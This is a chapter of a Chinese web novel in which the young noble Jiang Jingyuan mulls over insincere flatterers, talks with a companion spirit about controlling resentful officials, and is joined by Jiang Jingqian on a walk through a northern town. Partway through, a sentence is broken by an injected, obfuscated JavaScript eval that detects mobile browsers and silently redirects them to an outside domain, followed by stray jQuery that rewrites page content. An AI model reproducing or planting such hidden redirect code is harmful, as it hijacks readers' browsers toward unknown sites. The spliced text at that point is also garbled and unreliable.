江景渐对她,百依百顺吗……?


    好像也……差不多,的确如此。


    但。


    江景鸢不爱听。


    ——说不出具体的缘由,反正江景鸢就是听了不高兴。


    这种话,真是的,讨厌。


    从前,也有那么多那么多人爱说这种话。


    什么“家主最疼爱你啦”“家主对你简直是千依百顺”“要什么有什么,家主对你也太好了吧”“家主也太宠溺你了吧”……


    更有甚者,他们说——


    “家主对你这么好,你以后要怎么样才能报答家主啊……”


    “越是这样宠孩子啊,养大的孩子越是白眼狼。欸,你以后会不会感恩家主?”


    最开始,江云疏听了也没什么想法。


    后来,江云疏听了,心里下意识愣了一下,奇怪想着“这样吗?”而后仔细思考一番,点点头,好像的确如此。


    但她其实还是会有些不高兴——


    不是对家主,而是对说这话的人们。


    他们看着她。


    羡慕复杂却又想装得平常,语气满是痛心疾首,眼神里是她说不出来的复杂尖锐。


    仿佛是她得到了什么天大恩赐。


    从自己的小天地中走到外界,顷刻间,她拥有的是对外界的超强感知。


    这些复杂的情绪,只是靠近,就如深渊水鬼般尖叫着扒满她全身、拽着她下沉。


    窒息,窒息。


    仿佛麻绳缠绕在脖颈,骤然一勒,瞬间痛苦弯下腰,止不住地干呕。


    讨厌。


    江景鸢瞥了一眼前方的三人。


    这种话会让人不高兴,或许会潜移默化地影响她和江景渐之间的关系,但……


    人要拎得清。


    江景渐对她好不好,她自己心里要清楚,也要明白……


    有意无意说这种话的,是无关的其他人。


    她不能因为别人无意或是恶意的话语,而去错怪了对自己好的人。


    是非对错,自己心中要清晰。


    因为别人的三言两语而动,就是当了别人手中的刀剑——是愚蠢的好笑行为。


    就算是从前的家主,也是实实在在地给了江云疏很多年的庇佑。


    这一点,没有什么好否认的。


    有对她好,也有对她坏,两者不能混为一谈。


    江景鸢转身就走。


    后方,说到最后都把自己说得满心欢喜的三人见状,呆愣愣地看着那少女远去。


    他们一时间,有些摸不着头脑。


    最后,他们心中的欢喜消散了,不被重视的愤恨瞬间涌上心头——


    到底是被人宠着捧着的小公主,一点儿不把他们放在眼里!


    不过就是运气好一点,在了他们北境还敢如此嚣张,到时候怎么阴沟里翻船的都不知道!


    …………


    “怎么?因为他们的虚伪嘴脸而生气了?”


    许卿临语气轻松,一边提笔在纸上描绘着什么,一边漫不经心地说口问道。


    “……?”


    江景鸢愣了一下,随即淡定地道:“他们这样做是应该的,人之常情。”


    这下倒是许卿临愣了。


    她手中的笔一停,片刻,她才继续落笔在纸上描绘着什么,轻笑一声,随口道:


    “你在前尘镜里看到了什么啊,怎么在这个年纪就大彻大悟了。”


    许卿临自认为,就是她从前那样按部就班生活下去,少说也要十来年才能做到如此平常心。


    站在云端纤尘不染,面上不显,心里自然难免有些不喜这些肮脏事。


    江景鸢倒是奇怪。


    她知道,她懂得,但哪怕先前戾气缠身之时,也从未真正受到这些肮脏事影响。


    知世故而不世故,行走在这世间又好似游离在世界之外。


    她才十五岁啊……


    江景鸢闻言,脸上没什么反应,不疾不徐地走在树林间。


    大彻大悟吗?


    没有。


    十年,其实只要十年。


    从云端跌落泥潭,挣扎煎熬,到最后脑子里一团浆糊、思维举止一派疯癫。


    但没关系,她自己逼迫着自己好了。


    ——时过境迁,唯有自己一人固步自封,她接受不了,所以将自己强迫好了。


    新的时代,新的人生,就不要再受过往影响。


    仿佛拨开迷雾般,心最开始还摇摆不定,忽然……十分忽然的,一瞬之间,她看明白了很多。


    并非大彻大悟,只是看明白了很多。


    必定要经历的,能在年少时早早看明白,这是好事。


    这是一件幸事。


    江景鸢没有和许卿临解释这些,只是平静地“嗯”了一声,表示有在听。


    许卿临顿了一下,笑叹道:


    “你不会因为他们对你的好并非真心而不高兴?”


    江景鸢:“……?”


    江景鸢嘴角微不可察动了动,忍下了一句“你脑子没问题吧”,面上淡定说:


    “不会。”


    江云疏或是江景鸢,对她关怀和示好的人多如过江之鲫,其中有几个当真是绝对的真心实意?


    委婉点儿说,几乎没有。


    大差不差的人、千篇一律的示好方式,她甚至没记住。


    “你好奇怪……”许卿临感慨道,“他们笑着说着,明明是将自己说服了,却要打着真心实意为你骄傲的名号,你真的心里没有一点点不满吗?”


    江景鸢一顿,反问道:“那么你觉得,他们装得任谁也看不出来,就很好吗?”


    许卿临沉默了片刻,深表赞同地说:“还是你想的对。”


    江景鸢“嗯哼”一声。


    “你是没见过真正能装的。”江景鸢嘴巴微不可察一嘟,心说。


    许卿临啊,就是远离人世久了,忘了太多太多。


    眼前仿佛闪过了一幕幕画面,江景鸢脸上神色恢复淡漠,只是漆黑无光的眼眸又暗了暗。


    谁能想到呢?


    身份显赫的人怎么可能会低声下气呢?


    然而事实上却是……


    上不上、下不下的人才会纠结那一股傲气,真正能站到山巅的人,为达目的不择手段,姿态可以放得比谁都要低。


    然而只是片刻,江景鸢心中骤然开阔,又是一片轻松释然和。


    自己经历时的情绪,是真的,就足够了。


    阳光下。


    江景鸢走出树林,在镇子上弯弯绕绕,目标明确地朝着一个方向行进。


    ——北境的人他们打他们的,她要去连家看看。


    一路上,嘴里没停夸耀感激着她的人不认得她,与她擦肩而过。


    彼此交谈的官员们转眼,猝不及防瞧见她,皆是一愣后慌慌张张要行礼。


    江景鸢却是目不斜视地从他们身旁走过。


    几人呆呆地转身,望着她远去的背影。


    良久。


    几个人骤然脸色大变,发出惊叫:


    “完了完了,隔墙有耳啊,她不会都听到了吧?!”


    然而,走出去老远的少女面不改色。


    脑海中,许卿临“啧”了一声,说:“在大街上就敢说这些,是气急了还是蠢……”


    江景鸢没什么反应,“嗯”了声算是回应。


    反正她身边,最不缺的就是敢怒不敢言的人。


    “没看到那么多资源倒也就罢了,看到了那么多,拿到手却只有那么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878341|160054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点儿。”许卿临笑着说,“你怕不怕他们心中有气,和你鱼死网破?”


    江景鸢闻言,无语地笑了一声。


    江景渐没有嘱咐,就是随她如何行事都可以。


    而她自己能这样做,就是想好了来龙去脉。


    “磨。”江景鸢平静地说,“都是如此。磨到他们唯有听令,而无力思考其他。”


    她也只是有样学样。


    将他们喂到五分饱,却也永远都只让他们吃到五分饱。


    这些资源,进进出出,饿不死,又吃不饱。


    许卿临:“……倒是我多虑了。”


    江景鸢:“……?”


    “是看热闹不嫌事大,还是担心我,你自己心里清楚。”江景鸢心中嘀咕。


    然而面上,她只是淡淡地轻哼一声。


    ——与其去思考别人的良心,倒不如来思考自己的良心。


    要是连自己都信不过,又怎么敢去相信别人?


    好笑。


    少女一身浅金色衣裙,在阳光下流转着璀璨金光。


    她穿梭在人群中,步伐潇洒。


    …………


    又走过两条街,穿梭在人群间。


    前方正正走来一人,江景鸢脚下一转,就要从旁绕过。


    忽然。


    “景鸢殿下。”


    从那人身旁走过的同时,耳边响起一声熟悉的轻唤。


    江景鸢脚下一刹,眨眨眼,愣怔地后退两步,抬头看向面前这人。


    ——是确实在北境、却这些天都没有见到的江景谦。


    他一身白衣,站在明艳晃眼的阳光下,身影朦胧。


    江景鸢对着他点点头,抬脚就要继续走。


    “景鸢殿下等等。”


    江景谦忽然又喊住了她。


    江景鸢当真听话地停下了,抬头看向他,眼眸中透着疑惑——


    什么事?


    江景谦笑了一下,轻声说道:“您要去哪里,我跟着您。”


    啊?江景鸢愣了一下,下意识问:


    “为什么?”


    然而刚一问完,她就已经想明白。


    江景鸢又确认般地问道:


    “他们让你跟着我?”


    江景谦抿抿嘴,微微低下头,没有说话,却是默认的意思了。


    他若是来与景鸢殿下说这些,倒是告状的意思了——只是告状嘛,是要看交情的。


    没有足够的情谊,告状,只会显得自己无能。


    江景鸢:“……”


    江景鸢脸上的淡然差点儿破裂。


    她脸上表情微不可察地扭曲了一下,良久,才艰难地憋出一句:“不用跟着我。”


    闻言,面前的人顿时抿嘴无声笑了笑。


    笑容中略显苦涩,似乎……还隐隐有些受气般的委屈。


    江景鸢下意识后退半步。


    “外面还是很危险的。”江景谦微微低着脑袋,轻声说道,“我不会打扰您的。”


    江景鸢定定地看着他。


    她脸上淡漠,心中扭曲地想道:“我要去连家,难不成我还能带着你去啊?”


    江景谦顶着她的目光,没有看她,整个人却是倔强地站在原地。


    江景鸢顿时知道今天自己是去不成了。


    她索性松了口也不为难他,问道:“你知道这里的小食吗?”


    江景谦闻言,瞬间欣喜抬头,双眸朦胧又亮晶晶的,说道:


    “嗯,北境的口味与京城的截然不同,我带您先去吃一些温和的小食好吗?”


    江景鸢点头。


    没见到倒也罢了,今天人都撞见了,她不让他跟着,他也会悄悄跟着。


    还是先玩一天,自己下次再悄摸摸去连家。